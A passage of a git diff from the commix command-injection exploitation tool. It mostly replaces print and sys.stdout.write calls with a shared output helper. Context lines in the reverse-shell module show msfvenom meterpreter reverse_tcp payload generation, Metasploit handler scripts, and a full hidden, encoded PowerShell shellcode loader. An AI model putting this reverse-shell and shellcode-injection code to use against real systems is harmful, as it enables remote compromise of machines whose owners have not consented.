configure_bind_tcp(separator): # Set up rhost for the bind TCP connection while True: - sys.stdout.write(settings.BIND_TCP_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.BIND_TCP_SHELL) option = _input() if option.lower() == "bind_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue elif option.lower() == "?": menu.bind_tcp_options() @@ -525,7 +525,7 @@ def configure_bind_tcp(separator): elif option[4:10].lower() == "lhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 0d0f6d4b56..b49dd94232 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -36,7 +36,7 @@ def shell_options(option): if option.lower() == "reverse_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() elif option.lower() == "quit" or option.lower() == "exit": @@ -47,7 +47,7 @@ def shell_options(option): if option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) if option[4:10].lower() == "lport ": check_lport(option[10:]) if option[4:12].lower() == "srvport ": @@ -60,32 +60,32 @@ def shell_options(option): # Payload generation message. def gen_payload_msg(payload): info_msg = "Generating the '" + payload + "' shellcode. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Success msg. """ def shell_success(): info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ").\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Error msg if the attack vector is available only for Windows targets. """ def windows_only_attack_vector(): error_msg = "This attack vector is available only for Windows targets." - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) """ Message regarding the MSF handler. """ def msf_launch_msg(output): info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) info_msg = "Once the loading is done, press here any key to continue..." - sys.stdout.write(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) sys.stdin.readline().replace("\n", "") # Remove the ouput file. os.remove(output) @@ -152,7 +152,7 @@ def set_python_interpreter(): """ def check_lhost(lhost): settings.LHOST = lhost - print("LHOST => " + settings.LHOST) + settings.print_data_to_stdout("LHOST => " + settings.LHOST) return True """ @@ -162,11 +162,11 @@ def check_lport(lport): try: if float(lport): settings.LPORT = lport - print("LPORT => " + settings.LPORT) + settings.print_data_to_stdout("LPORT => " + settings.LPORT) return True except ValueError: err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return False """ @@ -176,11 +176,11 @@ def check_srvport(srvport): try: if float(srvport): settings.SRVPORT = srvport - print("SRVPORT => " + settings.SRVPORT) + settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) return True except ValueError: err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return False """ @@ -188,7 +188,7 @@ def check_srvport(srvport): """ def check_uripath(uripath): settings.URIPATH = uripath - print("URIPATH => " + settings.URIPATH) + settings.print_data_to_stdout("URIPATH => " + settings.URIPATH) return True """ @@ -386,15 +386,15 @@ def other_reverse_shells(separator): elif other_shell == '9': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/reverse_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + @@ -405,7 +405,7 @@ def other_reverse_shells(separator): data = content_file.readlines() data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -422,22 +422,22 @@ def other_reverse_shells(separator): other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Python-reverse-shell (meterpreter) elif other_shell == '10': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/reverse_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + @@ -449,7 +449,7 @@ def other_reverse_shells(separator): data = ''.join(data) #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -469,7 +469,7 @@ def other_reverse_shells(separator): other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Powershell injection attacks @@ -497,7 +497,7 @@ def other_reverse_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "windows/meterpreter/reverse_tcp" @@ -514,7 +514,7 @@ def other_reverse_shells(separator): # Greetz to Dave Kennedy (@HackingDave) powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" @@ -523,7 +523,7 @@ def other_reverse_shells(separator): "exploit\n\n") msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # TrustedSec's Magic Unicorn (3rd Party) @@ -552,7 +552,7 @@ def other_reverse_shells(separator): with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') other_shell = _urllib.parse.quote_plus(other_shell) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file os.remove(output) with open("unicorn.rc", 'w+') as filewrite: @@ -567,7 +567,7 @@ def other_reverse_shells(separator): except: continue except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break break @@ -595,7 +595,7 @@ def other_reverse_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue if 'payload' in locals(): @@ -663,7 +663,7 @@ def reverse_tcp_options(separator): if reverse_tcp_option.lower() == "reverse_tcp": warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue # Option 1 - Netcat shell @@ -699,11 +699,11 @@ def reverse_tcp_options(separator): def configure_reverse_tcp(separator): # Set up LHOST for the reverse TCP connection while True: - sys.stdout.write(settings.REVERSE_TCP_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.REVERSE_TCP_SHELL) option = _input() if option.lower() == "reverse_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue if option.lower() == "?": menu.reverse_tcp_options() @@ -731,7 +731,7 @@ def configure_reverse_tcp(separator): elif option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 91490c1192..59d19e14cb 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -32,8 +32,8 @@ def tamper(payload): if settings.WHITESPACES[0] == "+": err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index ecf6f074dc..b07d076d2b 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -32,8 +32,8 @@ def tamper(payload): if settings.WHITESPACES[0] == "+": err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: diff --git a/src/core/testing.py b/src/core/testing.py index 6d73a37c7f..c045ac66c1 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -23,7 +23,7 @@ """ def smoke_test(): info_msg = "Executing smoke test." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) _ = True file_paths = [] @@ -40,19 +40,19 @@ def smoke_test(): __import__(path) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Succeeded importing '" + str(path) + "' module." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) except Exception as e: error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'." - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) _ = False result = "Smoke test " if _: result = result + "passed." - print(settings.print_bold_info_msg(result)) + settings.print_data_to_stdout(settings.print_bold_info_msg(result)) else: result = result + "failed." - print(settings.print_bold_error_msg(result)) + settings.print_data_to_stdout(settings.print_bold_error_msg(result)) raise SystemExit() diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py index 40f8b6024e..1d3129d52a 100644 --- a/src/thirdparty/flatten_json/flatten_json.py +++ b/src/thirdparty/flatten_json/flatten_json.py @@ -49,7 +49,7 @@ def flatten(nested_dict, separator="_", root_keys_to_ignore=""): assert isinstance(separator, str), "Separator must be a string" # assert isinstance(nested_dict, dict), "The flatten() requires a dictionary input." except AssertionError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # This global dictionary stores the flattened keys and values and is ultimately returned @@ -84,7 +84,7 @@ def _unflatten_asserts(flat_dict, separator): # assert isinstance(flat_dict, dict), "The unflatten() requires a dictionary input." # assert all(isinstance(value, (bool, float, int, str)) for value in flat_dict.values()), "The provided dictionary is not flat." except AssertionError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() def unflatten(flat_dict, separator='_'): diff --git a/src/utils/common.py b/src/utils/common.py index 54f6eda4bd..bfffdc823f 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -32,7 +32,7 @@ """ def invalid_option(option): err_msg = "'" + option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) """ Invalid cmd output @@ -70,7 +70,7 @@ def is_empty(): answer = item.split('=')[1] if len(item.split('=')) > 1 else None if answer and question.lower() in message.lower(): value = answer - print(settings.print_message(message + str(value))) + settings.print_data_to_stdout(settings.print_message(message + str(value))) return value elif answer is None and value: return is_empty() @@ -78,21 +78,21 @@ def is_empty(): if value: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the given answer." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_message(message + str(value))) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_message(message + str(value))) return value elif value is None: if check_batch and menu.options.batch: - print(settings.print_message(message + str(default))) + settings.print_data_to_stdout(settings.print_message(message + str(default))) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the default behavior, running in batch mode." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) return default else: return is_empty() except KeyboardInterrupt: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise """ @@ -124,7 +124,7 @@ def running_as_admin(): else: err_msg = settings.APPLICATION + " is not able to check if you are running it " err_msg += "as an administrator account on this platform. " - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) is_admin = True return is_admin @@ -138,7 +138,7 @@ def days_from_last_update(): warn_msg = "You haven't updated " + settings.APPLICATION + " for more than " warn_msg += str(days_from_last_update) + " day" warn_msg += "s"[days_from_last_update == 1:] + "!" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Shows all HTTP error codes raised @@ -148,7 +148,7 @@ def show_http_error_codes(): if any((str(_).startswith('4') or str(_).startswith('5')) and _ != settings.INTERNAL_SERVER_ERROR for _ in settings.HTTP_ERROR_CODES_SUM): debug_msg = "Too many 4xx and/or 5xx HTTP error codes " debug_msg += "could mean that some kind of protection is involved." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ Automatically create a Github issue with unhandled exception information. @@ -176,13 +176,13 @@ def create_github_issue(err_msg, exc_msg): if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return else: invalid_option(choise) pass except: - print("\n") + settings.print_data_to_stdout("") raise SystemExit() err_msg = err_msg[err_msg.find("\n"):] @@ -201,7 +201,7 @@ def create_github_issue(err_msg, exc_msg): warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" warn_msg += ".\n" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return except: pass @@ -219,12 +219,12 @@ def create_github_issue(err_msg, exc_msg): issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.DEFAULT_CODEC) or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n" - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: warn_msg = "Something went wrong while creating a Github issue." if settings.UNAUTHORIZED_ERROR in str(err): warn_msg += " Please update to the latest revision.\n" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Masks sensitive data in the supplied message. @@ -247,54 +247,54 @@ def unhandled_exception(): match = re.search(r"\s*(.+)\s+ValueError", exc_msg) err_msg = "Identified corrupted .pyc file(s)." err_msg += "Please delete .pyc files on your system to fix the problem." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "must be pinned buffer, not bytearray" in exc_msg: err_msg = "Error occurred at Python interpreter which " err_msg += "is fixed in 2.7.x. Please update accordingly. " err_msg += "(Reference: https://bugs.python.org/issue8104)" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")): err_msg = "Memory exhaustion detected." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Permission denied: '" in exc_msg: match = re.search(r"Permission denied: '([^']*)", exc_msg) err_msg = "Permission error occurred while accessing file '" + match.group(1) + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("Access is denied", "subprocess", "metasploit")): err_msg = "Permission error occurred while running Metasploit." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("Permission denied", "metasploit")): err_msg = "Permission error occurred while using Metasploit." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Invalid argument" in exc_msg: err_msg = "Corrupted installation detected. " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("No such file", "_'")): err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Invalid IPv6 URL" in exc_msg: err_msg = "invalid URL ('" + exc_msg.strip().split('\n')[-1] + "')" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif any(_ in exc_msg for _ in ("Broken pipe",)): @@ -302,34 +302,34 @@ def unhandled_exception(): elif any(_ in exc_msg for _ in ("The paging file is too small",)): err_msg = "No space left for paging file." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \ any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \ any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "", exc_msg) - print(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip())) create_github_issue(err_msg, exc_msg[:]) # eof \ No newline at end of file diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 7573868965..99700efe5f 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -109,7 +109,7 @@ def store_crawling(output_href): if message in settings.CHOICE_YES: filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) with open(filename, "a") as crawling_results: for url in output_href: crawling_results.write(url + "\n") @@ -141,7 +141,7 @@ def sitemap(url, http_request_method): if url.endswith(".xml") and "sitemap" in url.lower(): while True: warn_msg = "A sitemap recursion detected (" + url + ")." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) message = "Do you want to follow? [Y/n] > " message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: @@ -229,7 +229,7 @@ def check_sitemap(): def no_usable_links(crawled_hrefs): if len(crawled_hrefs) == 0: warn_msg = "No usable links found (with GET parameters)." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if not settings.MULTI_TARGETS: raise SystemExit() @@ -239,7 +239,7 @@ def no_usable_links(crawled_hrefs): def do_process(url, http_request_method): identified_hrefs = False if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: - sys.stdout.write("\r") + settings.print_data_to_stdout(settings.END_LINE.CR) # Grab the crawled hrefs. try: response = request(url, http_request_method) @@ -265,7 +265,7 @@ def do_process(url, http_request_method): visited_hrefs.append(href) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping URL " + href + "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) no_usable_links(crawled_hrefs) @@ -298,14 +298,14 @@ def crawler(url, url_num, crawling_list, http_request_method): output_href = sitemap(url, http_request_method) if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): info_msg = "Starting crawler for target URL '" + url + "'" + _ + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) output_href = do_process(url, http_request_method) if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: settings.DEFAULT_CRAWLING_DEPTH = 1 while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): info_msg = "Searching for usable " info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.DEFAULT_CRAWLING_DEPTH == 2: output_href = new_crawled_hrefs elif settings.DEFAULT_CRAWLING_DEPTH > 2: @@ -326,10 +326,10 @@ def crawler(url, url_num, crawling_list, http_request_method): do_process(url, http_request_method) info_msg = str(link) info_msg += "/" + str(len(output_href)) + " links visited." - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + if link != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs diff --git a/src/utils/install.py b/src/utils/install.py index ae6c8765d6..bcce5fe980 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -33,19 +33,19 @@ """ def uninstaller(): info_msg = "Starting the uninstaller. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + info_msg = "The un-installation of commix has finished!" - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) """ The installer. @@ -55,24 +55,24 @@ def installer(): dependencies = "git python-pip" info_msg = "Starting the installer. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Check if OS is Linux. if settings.PLATFORM == "posix": # You need to have administrative privileges to run this script. if not common.running_as_admin(): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You need to have administrative privileges to run this option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if commix is already installed. if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "It seems that " + settings.APPLICATION warn_msg += " is already installed in your system." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to remove commix? [Y/n] > " uninstall = common.read_input(message, default="Y", check_batch=True) @@ -90,52 +90,52 @@ def installer(): if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"): # Install requirement. if os.path.isfile("/etc/apt/sources.list"): - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + # Check for dependencies. dependencies_items = dependencies.split() for item in dependencies_items: requirments.do_check(item) else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any " err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() # Force install of necessary packages subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + info_msg = "Installing " + settings.APPLICATION info_msg += " into the /usr/share/" + settings.APPLICATION + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: current_dir = os.getcwd() subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait() except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + info_msg = "Installing " + settings.APPLICATION info_msg += " to /usr/bin/" + settings.APPLICATION + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: with open("/usr/bin/" + settings.APPLICATION, 'w') as f: f.write('#!/bin/bash\n') f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + #Create the Output Directory try: @@ -148,19 +148,19 @@ def installer(): error_msg = str(err_msg).split("] ")[1] + "." except IndexError: error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() info_msg = "The installation is finished! Type '" info_msg += settings.APPLICATION + "' to launch it." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else : - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any other system other than Linux. " err_msg += "Please install manually: " + packages + 